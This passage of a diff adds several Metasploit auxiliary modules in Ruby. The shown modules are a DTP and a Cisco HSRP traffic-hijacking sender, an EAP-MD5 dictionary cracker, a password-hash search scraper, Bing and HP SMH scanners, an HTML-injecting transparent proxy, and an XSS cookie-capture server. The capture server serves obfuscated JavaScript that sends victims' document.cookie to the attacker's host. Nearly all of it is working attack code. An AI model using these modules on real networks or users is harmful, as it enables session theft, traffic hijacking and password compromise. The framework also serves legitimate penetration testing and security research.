dtp_domain_type = "\x00\x01"
|
||||
dtp_domain_len = [ (domain.length + 5) ].pack("n")
|
||||
dtp_domain = domain + "\x00"
|
||||
dtp_domain_section = dtp_domain_type
|
||||
dtp_domain_section << dtp_domain_len
|
||||
dtp_domain_section << dtp_domain
|
||||
|
||||
dtp_status_type = "\x00\x02"
|
||||
dtp_status_len = "\x00\x05"
|
||||
dtp_status = "\x03"
|
||||
dtp_status_section = dtp_status_type
|
||||
dtp_status_section << dtp_status_len
|
||||
dtp_status_section << dtp_status
|
||||
|
||||
dtp_type_type = "\x00\x03"
|
||||
dtp_type_len = "\x00\x05"
|
||||
dtp_type = "\xa5"
|
||||
dtp_type_section = dtp_type_type
|
||||
dtp_type_section << dtp_type_len
|
||||
dtp_type_section << dtp_type
|
||||
|
||||
dtp_neighbor_type = "\x00\x04"
|
||||
dtp_neighbor_len = "\x00\x0a"
|
||||
dtp_neighbor = "\x11\x22\x33\x44\x55\x66"
|
||||
dtp_neighbor_section = dtp_neighbor_type
|
||||
dtp_neighbor_section << dtp_neighbor_len
|
||||
dtp_neighbor_section << dtp_neighbor
|
||||
|
||||
payload << dtp_version
|
||||
payload << dtp_domain_section
|
||||
payload << dtp_status_section
|
||||
payload << dtp_type_section
|
||||
payload << dtp_neighbor_section
|
||||
n.l3.payload = payload
|
||||
|
||||
n.iface = datastore['IFACE']
|
||||
n.pack()
|
||||
while @run
|
||||
n.send2()
|
||||
select(nil, nil, nil, 30)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,138 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# The most useful and interesting feature of this module is the way the
|
||||
# loot file gets appended to, rather than rewritten. Might be use for
|
||||
# this technique in other modules that gather loot.
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DuckDuckGo Password Hash Search',
|
||||
'Description' => %q{
|
||||
This module scrapes the DuckDuckGo search engine for appearances of the given hash.
|
||||
When a hash is mentioned on the Internet, it is usually accompanied by the plaintext
|
||||
version of the password. Good news for the attacker, bad news for the user.
|
||||
|
||||
Note that this module almost certainly violates the Terms of Service of DuckDuckGo,
|
||||
which is a shame, and relegates this to a proof of concept trick until a combination
|
||||
of search engine, TOS, and a useful API surfaces.
|
||||
},
|
||||
'Author' => [ 'todb' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://duckduckgo.com/' ] # I heart DDG and feel bad for abusing them :/
|
||||
]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('HASH', [ true, "The password hash to search for", "b963c57010f218edc2cc3c229b5e4d0f"]),
|
||||
OptBool.new('SSL', [ false, "Use SSL for hash searches", true]) # Just bringing this to the main opts list.
|
||||
], self.class)
|
||||
|
||||
deregister_options('RHOST', 'RPORT', 'VHOST', 'Proxies')
|
||||
end
|
||||
|
||||
def cleanup
|
||||
datastore['RHOST'] = @old_rhost
|
||||
datastore['RPORT'] = @old_rport
|
||||
end
|
||||
|
||||
# Save the original rhost/rport in case the user was exploiting something else
|
||||
def save_rhost
|
||||
@old_rhost = datastore['RHOST']
|
||||
@old_rport = datastore['RPORT']
|
||||
end
|
||||
|
||||
def pw_hash
|
||||
datastore['HASH'].to_s
|
||||
end
|
||||
|
||||
def run
|
||||
save_rhost()
|
||||
|
||||
# Need to set this for send_request_cgi()
|
||||
datastore['RHOST'] = "duckduckgo.com"
|
||||
datastore['RPORT'] = datastore['SSL'] ? 443 : 80
|
||||
|
||||
loot = ""
|
||||
uri = "/html/"
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => "/html/",
|
||||
'vars_get' => {"q" => pw_hash}
|
||||
}, 25)
|
||||
|
||||
if res == nil or res.body == nil
|
||||
print_error("No response from DuckDuckGo.")
|
||||
return
|
||||
end
|
||||
|
||||
ddg_res = find_ddg_response(res.body)
|
||||
if ddg_res
|
||||
print_good("DuckDuckGo's first listing for '#{pw_hash}' is at #{ddg_res}")
|
||||
report_hash_found(ddg_res)
|
||||
else
|
||||
print_status("No results for #{datastore['HASH']} were found via DuckDuckGo.")
|
||||
return
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Instead of one loot file at a time, it's nicer to just append.
|
||||
def report_hash_found(url)
|
||||
return unless framework.db.active
|
||||
loot_header = "Hash,URL"
|
||||
loot_line = "\"#{pw_hash}\",\"#{url}\"\n"
|
||||
existing_loot = framework.db.loots.find_by_ltype("internet.hashes")
|
||||
if existing_loot
|
||||
append_to_loot(existing_loot,loot_line,url)
|
||||
else
|
||||
loot_file = [loot_header,loot_line].join("\n")
|
||||
p = store_loot("internet.hashes","text/plain",nil,loot_file,"internet_hashes.csv","Internet-Searchable Hashes")
|
||||
print_status("Saved hash and URL to #{p}")
|
||||
end
|
||||
end
|
||||
|
||||
def append_to_loot(existing_loot,loot_line,url)
|
||||
dupe_hash = false
|
||||
p = existing_loot.path
|
||||
fh = ::File.open(p, "r+b")
|
||||
fh.each_line do |line|
|
||||
if line == loot_line
|
||||
dupe_hash = true
|
||||
break
|
||||
end
|
||||
end
|
||||
if dupe_hash
|
||||
print_status "Discarding duplicate hash '#{pw_hash}' found in #{existing_loot.path}"
|
||||
fh.close
|
||||
return
|
||||
end
|
||||
# fh.seek(fh.stat.size)
|
||||
fh.write loot_line
|
||||
fh.close
|
||||
existing_loot.updated_at = Time.now.utc
|
||||
existing_loot.save
|
||||
print_status("Appended hash and URL to #{p}")
|
||||
end
|
||||
|
||||
def find_ddg_response(html)
|
||||
first_result = html.match(/<div[^>]+web\-result.*?This is the visible part/m)[0]
|
||||
return nil unless first_result
|
||||
url = first_result.match(/href=\x22(http.*)\x22/)[1] rescue nil
|
||||
return url
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,139 @@
|
||||
##
|
||||
# $Id: $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'packetfu'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Capture
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'EAP-MD5 challenge dictionary attack.',
|
||||
'Description' => %q{
|
||||
This module launch a dictionary attack against an EAP-MD5 challenge.
|
||||
The PCAP should contains at least the following requests:
|
||||
EAP reponse, identity (contains the username)
|
||||
EAP request, MD5-challenge
|
||||
EAP response, MD5-challenge
|
||||
EAP success (the module validate the authentication was succesful)
|
||||
|
||||
Compatible with wired and 802.11 - 802.1x environments.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'pello <fropert[at]packetfault.org>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$'
|
||||
)
|
||||
|
||||
begin
|
||||
require 'pcaprub'
|
||||
@@havepcap = true
|
||||
rescue ::LoadError
|
||||
@@havepcap = false
|
||||
end
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('WORDLIST', [ true, "Wordlist file for challenge bruteforce.", ''])
|
||||
], self.class)
|
||||
|
||||
deregister_options('RHOST','NETMASK','TIMEOUT','FILTER','SNAPLEN','INTERFACE')
|
||||
|
||||
end
|
||||
|
||||
def find_eap_challenge
|
||||
eapinfo = Hash.new
|
||||
cap = PacketFu::PcapFile.new.f2a(:filename => datastore['PCAPFILE'])
|
||||
cap.each do |pkt|
|
||||
begin
|
||||
case pkt[30,4].unpack('H4').join
|
||||
when "888e" # 802.11
|
||||
if pkt[36].to_i == 2 and pkt[40].to_i == 4
|
||||
eapinfo['resp'] = pkt[42..(42 + pkt[41] - 1)]
|
||||
eapinfo['id'] = pkt[37]
|
||||
elsif pkt[36].to_i == 1 and pkt[40].to_i == 4
|
||||
eapinfo['req'] = pkt[42..(42 + pkt[41] - 1)]
|
||||
elsif pkt[36].to_i == 2 and pkt[40].to_i == 1
|
||||
eapinfo['user'] = pkt[42..(42 + pkt[41] - 1)]
|
||||
elsif pkt[36].to_i == 3
|
||||
eapinfo['status'] = true
|
||||
else
|
||||
next
|
||||
end
|
||||
end
|
||||
case pkt[12,4].unpack('H4').join
|
||||
when "888e" # 802.3
|
||||
if pkt[18].to_i == 2 and pkt[22].to_i == 4
|
||||
eapinfo['resp'] = pkt[24..(24 + pkt[23] - 1)]
|
||||
eapinfo['id'] = pkt[19]
|
||||
elsif pkt[18].to_i == 1 and pkt[22].to_i == 4
|
||||
eapinfo['req'] = pkt[24..(24 + pkt[23] - 1)]
|
||||
elsif pkt[18].to_i == 2 and pkt[22].to_i == 1
|
||||
eapinfo['user'] = pkt[24..(24 + pkt[23] - 1)]
|
||||
elsif pkt[18].to_i == 3
|
||||
eapinfo['status'] = true
|
||||
else
|
||||
next
|
||||
end
|
||||
end
|
||||
if data.length == 5 then break end
|
||||
rescue
|
||||
next
|
||||
end
|
||||
end
|
||||
eapinfo
|
||||
end
|
||||
|
||||
def compare_challenge_and_passwords(reqchallenge, respchallenge, id, user)
|
||||
correctpass = ""
|
||||
print_status("Passwords loaded from #{datastore['WORDLIST']}")
|
||||
File.open(datastore['WORDLIST'],"r").each_line do |p|
|
||||
md5 = Rex::Text.md5(2.chr + p.rstrip + reqchallenge)
|
||||
if md5 == respchallenge.unpack('H2'*respchallenge.length).join
|
||||
correctpass = p
|
||||
break
|
||||
end
|
||||
end
|
||||
if correctpass.empty?
|
||||
print_error("Password not found.")
|
||||
else
|
||||
print_good("The login/password is: #{user}/#{correctpass}")
|
||||
report_note(
|
||||
:type => 'EAP-MD5',
|
||||
:user => user,
|
||||
:pass => correctpass)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
print_status("Looking for EAP-MD5 challenge in #{datastore['PCAPFILE']}")
|
||||
|
||||
eap = find_eap_challenge
|
||||
if !defined? eap['req'] or !defined? eap['resp']
|
||||
print_error("There is no EAP-MD5 challenge in the PCAP file")
|
||||
elsif !eap['status']
|
||||
print_error("There is no succesful EAP-MD5 challenge in the PCAP file")
|
||||
else
|
||||
compare_challenge_and_passwords(eap['req'], eap['resp'], eap['id'], eap['user'])
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
@@ -0,0 +1,80 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Bing URL Enumerator',
|
||||
'Description' => %q{
|
||||
This module uses Bing to enumerate URLs from a specified range of IP addresses.
|
||||
},
|
||||
'Author' => [ 'Royce Davis <royce.davis[at]cliftonlarsonallen.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
deregister_options('RHOST','RPORT','VHOST')
|
||||
end
|
||||
|
||||
def cleanup
|
||||
datastore['RHOST'] = @old_rhost
|
||||
datastore['RPORT'] = @old_rport
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
urls = []
|
||||
@old_rhost = datastore['RHOST']
|
||||
@old_rport = datastore['RPORT']
|
||||
|
||||
datastore['RHOST'] = 'www.bing.com'
|
||||
datastore['RPORT'] = 80
|
||||
|
||||
# We cannot use HttpClient to send a query to bing.com,
|
||||
# because there is a bug in get_once that keeps bailing on us before finishing
|
||||
# getting the data. get_once is the actual function used to receive HTTP data
|
||||
# for send_request_cgi(). See the following ticket for details:
|
||||
# http://dev.metasploit.com/redmine/issues/6499#note-11
|
||||
connect
|
||||
req = %Q|GET /search?q=ip:#{ip} HTTP/1.1\nHost: #{datastore['RHOST']}\nAccept: */*\n
|
||||
|
|
||||
|
||||
req = req.gsub(/^\t\t/, '')
|
||||
sock.put(req)
|
||||
res = sock.get(-1, 1)
|
||||
m = res.to_s.scan(/(<cite>[a-z0-9]+(?:[\-\.])[a-z0-9]+(?:[\-\.])[a-z]{3,5})/)
|
||||
|
||||
if m.empty?
|
||||
print_error("No matches found for #{ip}")
|
||||
return
|
||||
end
|
||||
|
||||
m.each do |url|
|
||||
url = url.to_s.gsub(/<cite>/, '')
|
||||
|
||||
# The URL returns in the following format:
|
||||
# ["www.example.com"]
|
||||
if url =~ /\[\"(.+)\"\]/
|
||||
urls << $1
|
||||
print_status("#{ip} = #{$1}")
|
||||
end
|
||||
end
|
||||
|
||||
unless urls.empty?
|
||||
report_note(
|
||||
:host => ip,
|
||||
:data => urls,
|
||||
:type => 'URL'
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,64 @@
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'HP System Management Login Anonymous Access Scanner',
|
||||
'Description' => %q{
|
||||
This module checks to see if anonymous access is allowed for HP System Management Login
|
||||
web interface. hp_sys_mgmt_exec exploit is dependent upon anonymous access. Anonymous access can also disclose server configuration and SNMP community vaules.
|
||||
This was made into a scanner to be able to quickly test large networks. SSL is enabled by default.},
|
||||
'Author' => [ 'g1ldedm1n1on(at)gmail.com' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => TRUE }
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(2381)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def anonymous_access?
|
||||
res = send_request_raw({'uri' => '/'})
|
||||
res and res.body =~ /username = "hpsmh_anonymous"/
|
||||
false
|
||||
end
|
||||
|
||||
|
||||
def run_host(target_host)
|
||||
begin
|
||||
print_status("#{target_host} - Testing for Anonymous Access")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => '/',
|
||||
'vars_post' => {
|
||||
'redirecturl' => '',
|
||||
'redirectquerystring' => '',
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
vprint_error("#{target_host} - Failed to Connect")
|
||||
return :abort
|
||||
end
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
|
||||
vprint_error("#{target_host} - Failed to responed")
|
||||
return :abort
|
||||
end
|
||||
|
||||
#def run
|
||||
unless anonymous_access?
|
||||
vprint_error("#{target_host} - Server does not allow anonymous access")
|
||||
else
|
||||
print_good("#{target_host} - System allows anonymous access")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,122 @@
|
||||
##
|
||||
# $Id: $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'racket'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Cisco HSRP traffic hijacking.',
|
||||
'Description' => %q{
|
||||
This module will direct LAN traffic to the attacker host if HSRP is present.
|
||||
},
|
||||
'Author' => [ 'pello' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$'
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(1985),
|
||||
OptString.new('INTERFACE', [true, "The name of the interface", 'eth0'])
|
||||
], self.class)
|
||||
|
||||
deregister_options('PCAPFILE','SNAPLEN','FILTER')
|
||||
|
||||
begin
|
||||
require 'pcaprub'
|
||||
@@havepcap = true
|
||||
rescue ::LoadError
|
||||
@@havepcap = false
|
||||
end
|
||||
end
|
||||
|
||||
def hsrp_listen
|
||||
pcap = Pcap::open_live(datastore['INTERFACE'], 1500, false, 3)
|
||||
pcap.setfilter("host 224.0.0.2 and udp port 1985")
|
||||
begin
|
||||
print_status("Sniffing traffic.....")
|
||||
Timeout.timeout(3) do
|
||||
pcap.each do |pkt|
|
||||
eth = Racket::L2::Ethernet.new(pkt)
|
||||
ip = Racket::L3::IPv4.new(eth.payload)
|
||||
udp = Racket::L4::UDP.new(ip.payload)
|
||||
hsrp = Racket::L5::HSRP.new(udp.payload)
|
||||
@hsrp_group = hsrp.group
|
||||
@hsrp_vip = hsrp.vip
|
||||
@hsrp_password = hsrp.password
|
||||
return true
|
||||
end
|
||||
end
|
||||
rescue Timeout::Error
|
||||
return false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
raise "Pcaprub is not available" if not @@havepcap
|
||||
|
||||
@run = false
|
||||
@hsrp_group = 1
|
||||
@hsrp_priority = 254
|
||||
@hsrp_vip = ""
|
||||
@hsrp_password = "cisco"
|
||||
|
||||
if hsrp_listen
|
||||
print_status("Vip: " << @hsrp_vip << " Group: " << @hsrp_group.to_s << " Password: " << @hsrp_password)
|
||||
print_good("Start traffic hijacking.....")
|
||||
|
||||
else
|
||||
print_error("No HSRP traffic.")
|
||||
return false
|
||||
end
|
||||
|
||||
@run = true
|
||||
|
||||
n = Racket::Racket.new
|
||||
n.l2 = Racket::L2::Ethernet.new
|
||||
n.l2.ethertype = 0x0800
|
||||
n.l2.dst_mac = "01:00:5e:00:00:02"
|
||||
n.l3 = Racket::L3::IPv4.new
|
||||
n.l3.src_ip = datastore['RHOST']
|
||||
n.l3.dst_ip = "224.0.0.2"
|
||||
n.l3.protocol = 0x11
|
||||
n.l4 = Racket::L4::UDP.new
|
||||
n.l4.src_port = 1985
|
||||
n.l4.dst_port = 1985
|
||||
n.l5 = Racket::L5::HSRP.new
|
||||
n.l5.group = @hsrp_group
|
||||
n.l5.priority = @hsrp_priority
|
||||
n.l5.password = @hsrp_password
|
||||
n.l5.opcode = 0
|
||||
n.l5.state = 16
|
||||
n.l5.vip = @hsrp_vip
|
||||
|
||||
n.l4.payload = n.l5
|
||||
n.l4.fix!(n.l3.src_ip, n.l3.dst_ip)
|
||||
n.l4.payload = ""
|
||||
|
||||
n.iface = datastore['INTERFACE']
|
||||
n.pack()
|
||||
while @run
|
||||
n.send2()
|
||||
select(nil, nil, nil, 3)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,131 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Capture: HTTP Logging Of Cookies',
|
||||
'Description' => %q{
|
||||
This module runs a webserver that serves a piece of javascript
|
||||
which will transmit cookies back to metasploit. In an attempt
|
||||
to evade analysis and Intrusion Detection Systems this module has
|
||||
an option to obfuscate the served javascript.
|
||||
To use this module the following javascript must be injected on a
|
||||
website vulnerable to XSS:
|
||||
<script src="http://metasploitserver:port/whatever.js"</script>
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Johnny Vestergaard <jkv@unixcluster.dk>', 'jkv']
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGET_COOKIE', [false, "Name of cookie to dump, leave empty to dump all cookies", ""]),
|
||||
OptBool.new('OBFUSCATE_JAVASCRIPT', [true, "Enables obfuscation of javascript code", true]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
if datastore['URIPATH'] == nil
|
||||
datastore['URIPATH'] = Rex::Text.rand_text_alpha(rand(10) + 4)
|
||||
end
|
||||
|
||||
exploit
|
||||
end
|
||||
|
||||
#parse request and respond with 404
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
base_url = generate_base_url(cli, request)
|
||||
status_message = ""
|
||||
cookies = Array.new
|
||||
case request.uri
|
||||
when /\.js(\?|$)/
|
||||
content_type = "text/plain"
|
||||
send_response(cli, generate_js(base_url), {'Content-Type'=> content_type, })
|
||||
when /#{datastore['URIPATH']}\/{0,1}data\/(.*)/
|
||||
uri_s = request.uri.to_s.delete(' ')
|
||||
host_pos_start = datastore['URIPATH'].length + 7
|
||||
host = uri_s[host_pos_start .. uri_s.index('/', host_pos_start + 1) - 1]
|
||||
cookies = uri_s[host_pos_start + host.length + 1..-1].split(';')
|
||||
cookiesh = Hash.new()
|
||||
cookies.each do |item|
|
||||
a,b = item.split('=')
|
||||
cookiesh[a] = b
|
||||
end
|
||||
|
||||
if datastore['TARGET_COOKIE'] != ""
|
||||
cookiesh.delete_if {|k, v| k != datastore['TARGET_COOKIE']}
|
||||
end
|
||||
data = "Host: #{host}, Client: #{cli.peerhost}, Cookies: #{cookiesh.map{|k,v| "#{k}=#{v}"}.join(';')}"
|
||||
print_status(data)
|
||||
|
||||
loot_file = store_loot("document.cookies", "text/file", host, data, nil)
|
||||
print_status("Stored in #{loot_file}")
|
||||
|
||||
#skip it - too much noise!
|
||||
when /favicon\.ico/
|
||||
else
|
||||
print "Unexpected request: #{request.method} request for #{request.uri}"
|
||||
end
|
||||
|
||||
#we know nothing!
|
||||
send_not_found(cli)
|
||||
end
|
||||
|
||||
# Figure out what our base URL is based on the user submitted
|
||||
# Host header or the address of the client.
|
||||
# This def is shamelessly stolen from the http_javascript_keylogger - thanks Marcus! :-)
|
||||
def generate_base_url(cli, req)
|
||||
port = nil
|
||||
host = Rex::Socket.source_address(cli.peerhost)
|
||||
|
||||
if req['Host']
|
||||
host = req['Host']
|
||||
bits = host.split(':')
|
||||
|
||||
# Extract the hostname:port sequence from the Host header
|
||||
if bits.length > 1 and bits.last.to_i > 0
|
||||
port = bits.pop.to_i
|
||||
host = bits.join(':')
|
||||
end
|
||||
else
|
||||
port = datastore['SRVPORT'].to_i
|
||||
end
|
||||
|
||||
prot = (!! datastore['SSL']) ? 'https://' : 'http://'
|
||||
if Rex::Socket.is_ipv6?(host)
|
||||
host = "[#{host}]"
|
||||
end
|
||||
|
||||
base = prot + host
|
||||
if not ((prot == 'https' and port.nil?) or (prot == 'http' and port.nil?))
|
||||
base << ":#{port}"
|
||||
end
|
||||
|
||||
base << get_resource
|
||||
end
|
||||
|
||||
#Generation and obfuscation of javascript
|
||||
def generate_js(base_url)
|
||||
code = ::Rex::Exploitation::JSObfu.new %Q|
|
||||
new Image().src="#{base_url}/data/"+ window.location.hostname + "/" + document.cookie;|
|
||||
|
||||
if datastore['OBFUSCATE_JAVASCRIPT']
|
||||
code.obfuscate
|
||||
end
|
||||
|
||||
return code
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,93 @@
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Basic HTTP Server',
|
||||
'Description' => %q{
|
||||
A basic webserver to serve out files
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'sussurro',
|
||||
],
|
||||
'License' => BSD_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'WebServer', {
|
||||
'Description' => 'Launch the webserver'
|
||||
} ]
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[ 'WebServer' ],
|
||||
'DefaultAction' => 'WebServer'))
|
||||
|
||||
register_options([
|
||||
OptString.new('WEBROOT', [ true, 'The location of the exploits directory.', File.join(Msf::Config.install_root, 'data', 'exploits')]),
|
||||
OptBool.new('ALLOWINDEX', [ false, 'Allow indexes to be displayed.', false]),
|
||||
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
exploit()
|
||||
end
|
||||
|
||||
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
|
||||
|
||||
filename = request.uri.gsub(/^#{self.get_resource}/,'')
|
||||
path = ::File.join(datastore['WEBROOT'], filename)
|
||||
print_status("Request translates to #{path}")
|
||||
if(not ::File.exists?(path))
|
||||
print_status("404ing #{request.uri}")
|
||||
send_not_found(cli)
|
||||
return false
|
||||
end
|
||||
if(::File.directory?(path) and datastore['ALLOWINDEX'])
|
||||
html = "<HTML><BODY>\n"
|
||||
html += "<A HREF=\"#{request.uri}/..\">[..]</A><BR>\n"
|
||||
::Dir.entries(path).each do |file|
|
||||
next if(file.starts_with?'.')
|
||||
if(::File.directory?(::File.join(path,file)))
|
||||
if(request.uri.ends_with?"/")
|
||||
html += "<A HREF=\"#{request.uri}#{file}\">[#{file}]</A><BR>\n"
|
||||
else
|
||||
html += "<A HREF=\"#{request.uri}/#{file}\">[#{file}]</A><BR>\n"
|
||||
end
|
||||
else
|
||||
html += "<A HREF=\"#{request.uri}/#{file}\">#{file}</A><BR>\n"
|
||||
end
|
||||
end
|
||||
html += "</BODY></HTML>\n"
|
||||
response = create_response()
|
||||
response["Expires"] = "0"
|
||||
response["Cache-Control"] = "must-revalidate"
|
||||
response.body = html
|
||||
cli.send_response(response)
|
||||
return
|
||||
elsif(::File.directory?(path))
|
||||
print_status("404ing #{request.uri}")
|
||||
send_not_found(cli)
|
||||
return false
|
||||
else
|
||||
data = ::File.read(path, ::File.size(path))
|
||||
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
||||
print_status("Data file #{path} delivered to #{cli.peerhost}")
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
##
|
||||
# $Id: inject_html.rb 1 clshack $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'webrick/httpproxy'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Inject HTML',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
Transparent proxy in ruby which is able to inject code in html page.
|
||||
},
|
||||
'Author' => 'clshack',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.freedomcoder.com.ar/2009/02/28/webrick-transparent-proxy-code-injection/'],
|
||||
['URL', 'http://www.clshack.it/rubytransparent-proxy-inject-htmljavascript.html']
|
||||
],
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('REGEX', [false, "Search content",'<title>']),
|
||||
OptString.new('REPLACE', [false, "Replace content with", '<title>Metasploit']),
|
||||
OptInt.new( 'LPORT', [false,"Proxy port listener",8080])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
regex = datastore['REGEX']
|
||||
replace = datastore['REPLACE']
|
||||
lport = datastore['LPORT']
|
||||
|
||||
begin
|
||||
req_call = Proc.new do |req,res|
|
||||
req.update_uri()
|
||||
#puts "#{req.unparsed_uri}"
|
||||
end
|
||||
|
||||
res_call = Proc.new do |req,res|
|
||||
res.inject_payload(replace,regex)
|
||||
end
|
||||
proxy = WEBrick::HTTPProxyServer.new(:Port =>lport ,:RequestCallBack => req_call,:ProxyContentHandler => res_call)
|
||||
trap("INT"){ proxy.shutdown }
|
||||
proxy.start
|
||||
end
|
||||
end
|
||||
end
|
||||
class WEBrick::HTTPRequest
|
||||
def update_uri(uri)
|
||||
@unparsed_uri = uri
|
||||
@request_uri = parse_uri(uri)
|
||||
end
|
||||
end
|
||||
|
||||
class WEBrick::HTTPResponse
|
||||
def inject_payload(replace,regex)
|
||||
if content_type =~ /html/ or (content_type and content_type.empty? and body[/<http/]) then
|
||||
if ('gzip' == header['content-encoding'])
|
||||
header.delete('content-encoding')
|
||||
self.body = Zlib::GzipReader.new(StringIO.new(body)).read
|
||||
end
|
||||
self.body.gsub!( /#{regex}/i , "#{replace}")#replace
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,298 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'timeout'
|
||||
require 'msf/core'
|
||||
require 'net/http'
|
||||
require 'rexml/document'
|
||||
require "net/dns/resolver"
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
